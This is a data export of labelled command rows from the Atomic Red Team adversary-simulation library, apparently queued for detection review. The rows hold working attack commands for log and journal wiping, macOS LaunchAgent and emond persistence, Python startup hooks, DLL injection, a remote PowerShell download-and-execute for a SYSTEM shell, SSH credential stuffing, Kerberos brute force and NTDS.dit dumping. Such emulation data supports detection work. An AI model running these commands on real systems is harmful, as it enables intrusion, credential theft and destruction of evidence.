Note: The user may be prompted to grant access to the Finder application before the command can be executed successfully as part of TCC(Transparency, Consent, and Control) Framework.
Refer: https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
b103646c772cbcdb79f90cc9,"sudo rm #{journal_folder}/* #physically deletes the journal files, and not just their content sudo journalctl --vacuum-time=0 #clears the journal while still keeping the journal files in place","sudo rm #{journal_folder}/* #physically deletes the journal files, and not just their content sudo journalctl --vacuum-time=0 #clears the journal while still keeping the journal files in place",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1070.002/T1070.002.yaml,Delete system journal logs via rm and journalctl utilities,T1070.002,"[""T1070.002""]",linux,0.9,False,"The first sub-test deletes the journal files using rm utility in the ""/var/log/journal/"" directory and the second sub-test clears the journal by modifiying time period of logs that should be retained to zero.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
828c371589c090992b8401b0,echo 0> /var/spool/mail/#{username},echo 0> /var/spool/mail/#{username},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1070.002/T1070.002.yaml,Overwrite Linux Mail Spool,T1070.002,"[""T1070.002""]",linux,0.9,False,"This test overwrites the Linux mail spool of a specified user. This technique was used by threat actor Rocke during the exploitation of Linux web servers.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
e17e4024f7b00fd20041c2ef,echo 0> #{log_path},echo 0> #{log_path},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1070.002/T1070.002.yaml,Overwrite Linux Log,T1070.002,"[""T1070.002""]",linux,0.9,False,"This test overwrites the specified log. This technique was used by threat actor Rocke during the exploitation of Linux web servers.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
140a019973169f3de12d37af,"if [ ""/var/log/secure"" != ""#{log_path}"" ] ; then rm -f #{log_path} ; fi","if [ ""/var/log/secure"" != ""#{log_path}"" ] ; then rm -f #{log_path} ; fi",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1070.002/T1070.002.yaml,Overwrite Linux Log,T1070.002,"[""T1070.002""]",linux,0.55,True,"This test overwrites the specified log. This technique was used by threat actor Rocke during the exploitation of Linux web servers.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
9d573f839fba081ed2681a49,if [ ! -d ~/Library/LaunchAgents ]; then mkdir ~/Library/LaunchAgents; fi; sudo cp #{path_malicious_plist} ~/Library/LaunchAgents/#{plist_filename} sudo launchctl load -w ~/Library/LaunchAgents/#{plist_filename},if [ ! -d ~/Library/LaunchAgents ]; then mkdir ~/Library/LaunchAgents; fi; sudo cp #{path_malicious_plist} ~/Library/LaunchAgents/#{plist_filename} sudo launchctl load -w ~/Library/LaunchAgents/#{plist_filename},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1543.001/T1543.001.yaml,Launch Agent,T1543.001,"[""T1543.001""]",macos,0.9,False,"Create a plist and execute it
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
c8d779f3c09ce9f7ecc539ef,sudo launchctl unload ~/Library/LaunchAgents/#{plist_filename} sudo rm ~/Library/LaunchAgents/#{plist_filename},sudo launchctl unload ~/Library/LaunchAgents/#{plist_filename} sudo rm ~/Library/LaunchAgents/#{plist_filename},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1543.001/T1543.001.yaml,Launch Agent,T1543.001,"[""T1543.001""]",macos,0.55,True,"Create a plist and execute it
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
abab07ea9be32206e40b87a9,sudo cp #{script_location} #{script_destination} sudo touch /private/var/db/emondClients/#{empty_file},sudo cp #{script_location} #{script_destination} sudo touch /private/var/db/emondClients/#{empty_file},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1543.001/T1543.001.yaml,Event Monitor Daemon Persistence,T1543.001,"[""T1543.001""]",macos,0.9,False,"This test adds persistence via a plist to execute via the macOS Event Monitor Daemon. 
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
8dfa169c38d8d98e2d37eece,sudo rm #{script_destination} sudo rm /private/var/db/emondClients/#{empty_file},sudo rm #{script_destination} sudo rm /private/var/db/emondClients/#{empty_file},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1543.001/T1543.001.yaml,Event Monitor Daemon Persistence,T1543.001,"[""T1543.001""]",macos,0.55,True,"This test adds persistence via a plist to execute via the macOS Event Monitor Daemon. 
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
76b39bde8802103c68dcdb61,sudo cp #{path_malicious_plist} /Library/LaunchAgents/#{plist_filename} launchctl load -w /Library/LaunchAgents/#{plist_filename},sudo cp #{path_malicious_plist} /Library/LaunchAgents/#{plist_filename} launchctl load -w /Library/LaunchAgents/#{plist_filename},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1543.001/T1543.001.yaml,Launch Agent - Root Directory,T1543.001,"[""T1543.001""]",macos,0.9,False,"Create a plist and execute it
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
7984846b8c33d0e28a6a6d9c,launchctl unload /Library/LaunchAgents/#{plist_filename} sudo rm /Library/LaunchAgents/#{plist_filename} sudo rm /tmp/T1543_001_atomicredteam.txt,launchctl unload /Library/LaunchAgents/#{plist_filename} sudo rm /Library/LaunchAgents/#{plist_filename} sudo rm /tmp/T1543_001_atomicredteam.txt,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1543.001/T1543.001.yaml,Launch Agent - Root Directory,T1543.001,"[""T1543.001""]",macos,0.55,True,"Create a plist and execute it
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
542afa7cfe7ae3c0ad2faed5,"$TempDir = Join-Path $env:TEMP ""atomic_pth_win"" New-Item -ItemType Directory -Path $TempDir -Force & ""#{python_exe}"" -m venv ""$TempDir\env"" $SitePackages = & ""$TempDir\env\Scripts\python.exe"" -c ""import site; print(site.getsitepackages()[1])"" ""import os, subprocess; os.environ.get('CALC_SPAWNED') or (os.environ.update({'CALC_SPAWNED':'1'}) or subprocess.Popen(['calc.exe']))"" | Out-File -Encoding ASCII ""$SitePackages\atomic_hook.pth"" Get-ChildItem -Path ""$SitePackages"" | Where-Object { $_.Name -like ""*.pth"" } & ""$TempDir\env\Scripts\python.exe"" -c ""print('Triggering Hook via atomic_hook...')""","$TempDir = Join-Path $env:TEMP ""atomic_pth_win"" New-Item -ItemType Directory -Path $TempDir -Force & ""#{python_exe}"" -m venv ""$TempDir\env"" $SitePackages = & ""$TempDir\env\Scripts\python.exe"" -c ""import site; print(site.getsitepackages()[1])"" ""import os, subprocess; os.environ.get('CALC_SPAWNED') or (os.environ.update({'CALC_SPAWNED':'1'}) or subprocess.Popen(['calc.exe']))"" | Out-File -Encoding ASCII ""$SitePackages\atomic_hook.pth"" Get-ChildItem -Path ""$SitePackages"" | Where-Object { $_.Name -like ""*.pth"" } & ""$TempDir\env\Scripts\python.exe"" -c ""print('Triggering Hook via atomic_hook...')""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1546.018/T1546.018.yaml,Python Startup Hook - atomic_hook.pth (Windows),T1546.018,"[""T1546.018""]",windows,0.9,False,"Executes code by placing a .pth file in the site-packages directory. 
Supports python.exe and python3.exe via input arguments.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
87adef4e0b89f6754bd3ae6d,"$UserDir = & ""#{python_exe}"" -c ""import site; print(site.getusersitepackages())"" if (!(Test-Path $UserDir)) { New-Item -ItemType Directory -Path $UserDir -Force } ""import os; os.system('calc.exe')"" | Out-File -FilePath ""$UserDir\usercustomize.py"" -Encoding ASCII Get-ChildItem -Path ""$UserDir"" & ""#{python_exe}"" -c ""print('Triggering Hook via usercustomize...')""","$UserDir = & ""#{python_exe}"" -c ""import site; print(site.getusersitepackages())"" if (!(Test-Path $UserDir)) { New-Item -ItemType Directory -Path $UserDir -Force } ""import os; os.system('calc.exe')"" | Out-File -FilePath ""$UserDir\usercustomize.py"" -Encoding ASCII Get-ChildItem -Path ""$UserDir"" & ""#{python_exe}"" -c ""print('Triggering Hook via usercustomize...')""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1546.018/T1546.018.yaml,Python Startup Hook - usercustomize.py (Windows),T1546.018,"[""T1546.018""]",windows,0.9,False,"Executes code via usercustomize.py. This is a per-user persistence mechanism 
that does not require Administrative privileges.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
8846720a26b0addddb543c07,"if [ ! -f /tmp/atomic_hook_poc.txt ] || [ ! -d /tmp/atomic_sitecust_posix ]; then echo ""[!] Missing artifact or folder: /tmp/atomic_hook_poc.txt or /tmp/atomic_sitecust_posix — [-] Please Run : Invoke-AtomicTest T1546.018""; exit 0; fi rm -rf /tmp/atomic_sitecust_posix echo ""[+] Successful Removed atomic_hook.pth"" rm -rf /tmp/atomic_hook_poc.txt echo ""[+] Successful Removed atomic_hook_poc.txt under /tmp""","if [ ! -f /tmp/atomic_hook_poc.txt ] || [ ! -d /tmp/atomic_sitecust_posix ]; then echo ""[!] Missing artifact or folder: /tmp/atomic_hook_poc.txt or /tmp/atomic_sitecust_posix — [-] Please Run : Invoke-AtomicTest T1546.018""; exit 0; fi rm -rf /tmp/atomic_sitecust_posix echo ""[+] Successful Removed atomic_hook.pth"" rm -rf /tmp/atomic_hook_poc.txt echo ""[+] Successful Removed atomic_hook_poc.txt under /tmp""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1546.018/T1546.018.yaml,Python Startup Hook - atomic_hook.pth (Linux),T1546.018,"[""T1546.018""]",linux,0.55,True,"Executes code by creating atomic_hook.pth in the site-packages directory. 
This script runs automatically for every user on the system when Python starts.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
4731565bd6c78cbbe84d4bbe,"PYTHON_EXE=$(command -v #{python_exe} || command -v python) TEMPDIR=$(mktemp -d /tmp/atomic_python_hook_XX) echo ""$TEMPDIR"" > /tmp/atomic_python_hook_path.txt $PYTHON_EXE -m venv ""$TEMPDIR/env"" SITE_PACKAGES=$(""$TEMPDIR/env/bin/#{python_exe}"" -c ""import site; print(site.getsitepackages()[0])"") echo ""import subprocess; subprocess.Popen(['open', '-a', '#{exe_name}'])"" > ""$SITE_PACKAGES/atomic_hook.pth"" ""$TEMPDIR/env/bin/python"" -c ""print('Triggering Hook via atomic_hook...')""","PYTHON_EXE=$(command -v #{python_exe} || command -v python) TEMPDIR=$(mktemp -d /tmp/atomic_python_hook_XX) echo ""$TEMPDIR"" > /tmp/atomic_python_hook_path.txt $PYTHON_EXE -m venv ""$TEMPDIR/env"" SITE_PACKAGES=$(""$TEMPDIR/env/bin/#{python_exe}"" -c ""import site; print(site.getsitepackages()[0])"") echo ""import subprocess; subprocess.Popen(['open', '-a', '#{exe_name}'])"" > ""$SITE_PACKAGES/atomic_hook.pth"" ""$TEMPDIR/env/bin/python"" -c ""print('Triggering Hook via atomic_hook...')""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1546.018/T1546.018.yaml,Python Startup Hook - atomic_hook.pth (macOS),T1546.018,"[""T1546.018""]",macos,0.9,False,"Creates a Python startup hook using a .pth file inside a virtual environment on macOS.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
2caf11827bdcf758316e84fe,"if [ ! -f /tmp/atomic_python_hook_path.txt ] || [ ! -d $(cat /tmp/atomic_python_hook_path.txt) ]; then echo ""[!] Artifact missing: /tmp/atomic_python_hook_path.txt — [-] Please Run : Invoke-AtomicTest T1546.018""; exit 0; fi pkill ""#{exe_name}"" || true [ -f /tmp/atomic_python_hook_path.txt ] && rm -rf $(cat /tmp/atomic_python_hook_path.txt) && rm -f /tmp/atomic_python_hook_path.txt echo ""[+] Successful Removed atomic_hook.pth and terminated #{exe_name}""","if [ ! -f /tmp/atomic_python_hook_path.txt ] || [ ! -d $(cat /tmp/atomic_python_hook_path.txt) ]; then echo ""[!] Artifact missing: /tmp/atomic_python_hook_path.txt — [-] Please Run : Invoke-AtomicTest T1546.018""; exit 0; fi pkill ""#{exe_name}"" || true [ -f /tmp/atomic_python_hook_path.txt ] && rm -rf $(cat /tmp/atomic_python_hook_path.txt) && rm -f /tmp/atomic_python_hook_path.txt echo ""[+] Successful Removed atomic_hook.pth and terminated #{exe_name}""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1546.018/T1546.018.yaml,Python Startup Hook - atomic_hook.pth (macOS),T1546.018,"[""T1546.018""]",macos,0.55,True,"Creates a Python startup hook using a .pth file inside a virtual environment on macOS.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
1a0ec439bf1dd6fb43f0681f,launchctl submit -l #{label_name} -- #{executable_path},launchctl submit -l #{label_name} -- #{executable_path},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1569.001/T1569.001.yaml,Launchctl,T1569.001,"[""T1569.001""]",macos,0.9,False,"Utilize launchctl
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
06f2247ee5f5949e38c3faac,launchctl remove #{label_name},launchctl remove #{label_name},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1569.001/T1569.001.yaml,Launchctl,T1569.001,"[""T1569.001""]",macos,0.55,True,"Utilize launchctl
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
a9de3966d8d5889623310041,"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /r:System.EnterpriseServices.dll /out:""#{output_file}"" /target:library ""#{source_file}"" C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U #{output_file}","C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /r:System.EnterpriseServices.dll /out:""#{output_file}"" /target:library ""#{source_file}"" C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U #{output_file}",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1218.009/T1218.009.yaml,Regasm Uninstall Method Call Test,T1218.009,"[""T1218.009""]",windows,0.9,False,"Executes the Uninstall Method, No Admin Rights Required. Upon execution, ""I shouldn't really execute either."" will be displayed.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
1fa97b09e27bcaa15e3497c4,del #{output_file} >nul 2>&1,del #{output_file} >nul 2>&1,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1218.009/T1218.009.yaml,Regasm Uninstall Method Call Test,T1218.009,"[""T1218.009""]",windows,0.55,True,"Executes the Uninstall Method, No Admin Rights Required. Upon execution, ""I shouldn't really execute either."" will be displayed.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
725ddaaaf0a4f533d428fa53,"Remove-Item #{output_file} -ErrorAction Ignore | Out-Null $parentpath = Split-Path -Path ""#{output_file}"" Remove-Item $parentpath\key.snk -ErrorAction Ignore | Out-Null Remove-Item $parentpath\T1218.009.tlb -ErrorAction Ignore | Out-Null","Remove-Item #{output_file} -ErrorAction Ignore | Out-Null $parentpath = Split-Path -Path ""#{output_file}"" Remove-Item $parentpath\key.snk -ErrorAction Ignore | Out-Null Remove-Item $parentpath\T1218.009.tlb -ErrorAction Ignore | Out-Null",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1218.009/T1218.009.yaml,Regsvcs Uninstall Method Call Test,T1218.009,"[""T1218.009""]",windows,0.55,True,"Executes the Uninstall Method, No Admin Rights Required, Requires SNK. Upon execution, ""I shouldn't really execute"" will be displayed
along with other information about the assembly being installed.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
c0613d1a1435bb12efac9e8b,"$mypid = #{process_id} mavinject $mypid /INJECTRUNNING ""#{dll_payload}"" Stop-Process -processname notepad","$mypid = #{process_id} mavinject $mypid /INJECTRUNNING ""#{dll_payload}"" Stop-Process -processname notepad",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1055.001/T1055.001.yaml,Process Injection via mavinject.exe,T1055.001,"[""T1055.001""]",windows,0.9,False,"Windows 10 Utility To Inject DLLS.

Upon successful execution, powershell.exe will download T1055.dll to disk. Powershell will then spawn mavinject.exe to perform process injection in T1055.dll.
With default arguments, expect to see a MessageBox, with notepad's icon in taskbar.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
afc7c4aa9cf15653a64ec254,iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Get-System-Techniques/master/UsoDLL/Get-UsoClientDLLSystem.ps1'),iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Get-System-Techniques/master/UsoDLL/Get-UsoClientDLLSystem.ps1'),bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1055.001/T1055.001.yaml,WinPwn - Get SYSTEM shell - Bind System Shell using UsoClient DLL load technique,T1055.001,"[""T1055.001""]",windows,0.9,False,Get SYSTEM shell - Bind System Shell using UsoClient DLL load technique via function of WinPwn,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
53504a89f41713d7d37d13a1,"cp ""$PathToAtomicsFolder/T1110.004/src/credstuffuserpass.txt"" /tmp/ for unamepass in $(cat /tmp/credstuffuserpass.txt);do sshpass -p `echo $unamepass | cut -d"":"" -f2` ssh -o 'StrictHostKeyChecking=no' `echo $unamepass | cut -d"":"" -f1`@#{target_host};done","cp ""$PathToAtomicsFolder/T1110.004/src/credstuffuserpass.txt"" /tmp/ for unamepass in $(cat /tmp/credstuffuserpass.txt);do sshpass -p `echo $unamepass | cut -d"":"" -f2` ssh -o 'StrictHostKeyChecking=no' `echo $unamepass | cut -d"":"" -f1`@#{target_host};done",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1110.004/T1110.004.yaml,SSH Credential Stuffing From Linux,T1110.004,"[""T1110.004""]",linux,0.9,False,"Using username,password combination from a password dump to login over SSH.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
926e3bec1b8bfef7d51d09a3,"cp $PathToAtomicsFolder/T1110.004/src/credstuffuserpass.txt /tmp/ for unamepass in $(cat /tmp/credstuffuserpass.txt);do sshpass -p `echo $unamepass | cut -d"":"" -f2` ssh -o 'StrictHostKeyChecking=no' `echo $unamepass | cut -d"":"" -f1`@#{target_host};done","cp $PathToAtomicsFolder/T1110.004/src/credstuffuserpass.txt /tmp/ for unamepass in $(cat /tmp/credstuffuserpass.txt);do sshpass -p `echo $unamepass | cut -d"":"" -f2` ssh -o 'StrictHostKeyChecking=no' `echo $unamepass | cut -d"":"" -f1`@#{target_host};done",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1110.004/T1110.004.yaml,SSH Credential Stuffing From FreeBSD,T1110.004,"[""T1110.004""]",linux,0.9,False,"Using username,password combination from a password dump to login over SSH.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
ea162c9f62eab27a2defb735,"cd ""PathToAtomicsFolder\..\ExternalPayloads"" .\kerbrute.exe bruteforce --dc #{domaincontroller} -d #{domain} ""PathToAtomicsFolder\..\ExternalPayloads\bruteforce.txt""","cd ""PathToAtomicsFolder\..\ExternalPayloads"" .\kerbrute.exe bruteforce --dc #{domaincontroller} -d #{domain} ""PathToAtomicsFolder\..\ExternalPayloads\bruteforce.txt""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1110.004/T1110.004.yaml,Brute Force:Credential Stuffing using Kerbrute Tool,T1110.004,"[""T1110.004""]",windows,0.9,False,"Will read username and password combos from a file or stdin (format username:password) and perform a bruteforce attack
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
7bc02f294f5ffa1deca77c57,reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Nls\Language,reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Nls\Language,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1614.001/T1614.001.yaml,Discover System Language by Registry Query,T1614.001,"[""T1614.001""]",windows,0.9,False,"Identify System language by querying the registry on an endpoint. 

Upon successful execution, result in number format can be looked up to correlate the language.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
017c99035a9190518b6a830b,localectl status,localectl status,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1614.001/T1614.001.yaml,Discover System Language with localectl,T1614.001,"[""T1614.001""]",linux,0.9,False,"Identify System language with the `localectl` command.

Upon successful execution, the key `System Locale` from the output will contain the
`LANG` environment variable that has the 5 character locale result that can be looked
up to correlate the language and territory.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
f5d02da9a53173758c421bfa,[ -f /etc/locale.conf ] && cat /etc/locale.conf || cat /etc/default/locale,[ -f /etc/locale.conf ] && cat /etc/locale.conf || cat /etc/default/locale,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1614.001/T1614.001.yaml,Discover System Language by locale file,T1614.001,"[""T1614.001""]",linux,0.9,False,"Identify System language with the by reading the locale configuration file.

The locale configuration file contains the `LANG` environment variable which
will contain the 5 character locale that can be looked up to correlate the
language and territory.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
2e5b7a122a632cb4b6a005ab,env | grep LANG printenv LANG set | grep LANG,env | grep LANG printenv LANG set | grep LANG,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1614.001/T1614.001.yaml,Discover System Language by Environment Variable Query,T1614.001,"[""T1614.001""]",linux,0.9,False,"Identify System language by checking the environment variables

Upon successful execution, the 5 character locale result can be looked up to
correlate the language and territory. Environment query commands are likely
to run with a pattern match command e.g. `env | grep LANG`

Note: `env` and `printenv` will usually provide the same results. `set` is
also used as a builtin command that does not generate syscall telemetry but
does provide a list of the environment variables.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
2adeae167bab31204474e519,dism.exe /online /Get-Intl,dism.exe /online /Get-Intl,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1614.001/T1614.001.yaml,Discover System Language with dism.exe,T1614.001,"[""T1614.001""]",windows,0.9,False,"The Windows utility DISM (Deployment Image Servicing and Management) can be used to display information about international settings and languages on the currently installed Windows image using an elevated terminal.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
fd3b8dcc8e3a9a831c750537,PathToAtomicsFolder\..\ExternalPayloads\LanguageKeyboardLayout.exe,PathToAtomicsFolder\..\ExternalPayloads\LanguageKeyboardLayout.exe,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1614.001/T1614.001.yaml,Discover System Language by Windows API Query,T1614.001,"[""T1614.001""]",windows,0.9,False,"This test executes a custom script called LanguageKeyboardLayout.exe which outputs the values of the following Windows API functions to the user terminal: 

`GetKeyboardLayout`, `GetKeyboardLayoutList`, `GetUserDefaultUILanguage`, `GetSystemDefaultUILanguage`, `GetUserDefaultLangID`.

Documentation for these functions is located [here](https://learn.microsoft.com/en-us/windows/win32/api/winuser/).    
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
98b808200997c223cc175df3,"wmic /node:#{target_host} os get Locale,OSLanguage,MUILanguages /format:#{format_style}","wmic /node:#{target_host} os get Locale,OSLanguage,MUILanguages /format:#{format_style}",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1614.001/T1614.001.yaml,Discover System Language with WMIC,T1614.001,"[""T1614.001""]",windows,0.9,False,"WMIC (Windows Management Instrumentation Command-line) is a command-line tool that provides a simplified interface to query and manage Windows system configurations, processes, and hardware information using WMI. 

The command in this test retrieves information about the system's locale, operating system language, and multilingual user interface (MUI) languages.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
887db3aa4a96643899195e99,"$info = @{ UILanguage = Get-WinUILanguageOverride UserLanguages = (Get-WinUserLanguageList).LanguageTag -join ', ' SystemLocale = Get-WinSystemLocale CurrentCulture = [System.Globalization.CultureInfo]::CurrentCulture.Name CurrentUICulture = [System.Globalization.CultureInfo]::CurrentUICulture.Name TimeZone = (Get-TimeZone).Id } $info.GetEnumerator() | ForEach-Object { ""$($_.Name): $($_.Value)"" }","$info = @{ UILanguage = Get-WinUILanguageOverride UserLanguages = (Get-WinUserLanguageList).LanguageTag -join ', ' SystemLocale = Get-WinSystemLocale CurrentCulture = [System.Globalization.CultureInfo]::CurrentCulture.Name CurrentUICulture = [System.Globalization.CultureInfo]::CurrentUICulture.Name TimeZone = (Get-TimeZone).Id } $info.GetEnumerator() | ForEach-Object { ""$($_.Name): $($_.Value)"" }",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1614.001/T1614.001.yaml,Discover System Language with Powershell,T1614.001,"[""T1614.001""]",windows,0.9,False,"This PowerShell script collects key system settings, such as the UI language, user language preferences, system locale, current culture, UI culture, and time zone, into a hash table. 

It then outputs these settings in a readable key-value format directly to the terminal. The script is simple and efficient for quickly displaying system configuration details.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
6d59cbd81923d5d847ecbad9,vssadmin.exe create shadow /for=#{drive_letter},vssadmin.exe create shadow /for=#{drive_letter},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1003.003/T1003.003.yaml,Create Volume Shadow Copy with vssadmin,T1003.003,"[""T1003.003""]",windows,0.9,False,"This test is intended to be run on a domain Controller.

The Active Directory database NTDS.dit may be dumped by copying it from a Volume Shadow Copy.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
7af7154f1b161015e4269c9f,copy #{vsc_name}\Windows\NTDS\NTDS.dit #{extract_path}\ntds.dit copy #{vsc_name}\Windows\System32\config\SYSTEM #{extract_path}\VSC_SYSTEM_HIVE reg save HKLM\SYSTEM #{extract_path}\SYSTEM_HIVE,copy #{vsc_name}\Windows\NTDS\NTDS.dit #{extract_path}\ntds.dit copy #{vsc_name}\Windows\System32\config\SYSTEM #{extract_path}\VSC_SYSTEM_HIVE reg save HKLM\SYSTEM #{extract_path}\SYSTEM_HIVE,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1003.003/T1003.003.yaml,Copy NTDS.dit from Volume Shadow Copy,T1003.003,"[""T1003.003""]",windows,0.9,False,"This test is intended to be run on a domain Controller.

The Active Directory database NTDS.dit may be dumped by copying it from a Volume Shadow Copy.

This test requires steps taken in the test ""Create Volume Shadow Copy with vssadmin"".
A successful test also requires the export of the SYSTEM Registry hive.
This test must be executed on a Windows Domain Controller.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
eb818bcd3908b48a60d6f002,"del ""#{extract_path}\ntds.dit"" >nul 2> nul del ""#{extract_path}\VSC_SYSTEM_HIVE"" >nul 2> nul del ""#{extract_path}\SYSTEM_HIVE"" >nul 2> nul","del ""#{extract_path}\ntds.dit"" >nul 2> nul del ""#{extract_path}\VSC_SYSTEM_HIVE"" >nul 2> nul del ""#{extract_path}\SYSTEM_HIVE"" >nul 2> nul",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1003.003/T1003.003.yaml,Copy NTDS.dit from Volume Shadow Copy,T1003.003,"[""T1003.003""]",windows,0.55,True,"This test is intended to be run on a domain Controller.

The Active Directory database NTDS.dit may be dumped by copying it from a Volume Shadow Copy.

This test requires steps taken in the test ""Create Volume Shadow Copy with vssadmin"".
A successful test also requires the export of the SYSTEM Registry hive.
This test must be executed on a Windows Domain Controller.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
b46b30388312e66ade6bc301,"mkdir #{output_folder} ntdsutil ""ac i ntds"" ""ifm"" ""create full #{output_folder}"" q q","mkdir #{output_folder} ntdsutil ""ac i ntds"" ""ifm"" ""create full #{output_folder}"" q q",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1003.003/T1003.003.yaml,Dump Active Directory Database with NTDSUtil,T1003.003,"[""T1003.003""]",windows,0.9,False,"This test is intended to be run on a domain Controller.

The Active Directory database NTDS.dit may be dumped using NTDSUtil for offline credential theft attacks. This capability
uses the ""IFM"" or ""Install From Media"" backup functionality that allows Active Directory restoration or installation of
subsequent domain controllers without the need of network-based replication.

Upon successful completion, you will find a copy of the ntds.dit file in the C:\Windows\Temp directory.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
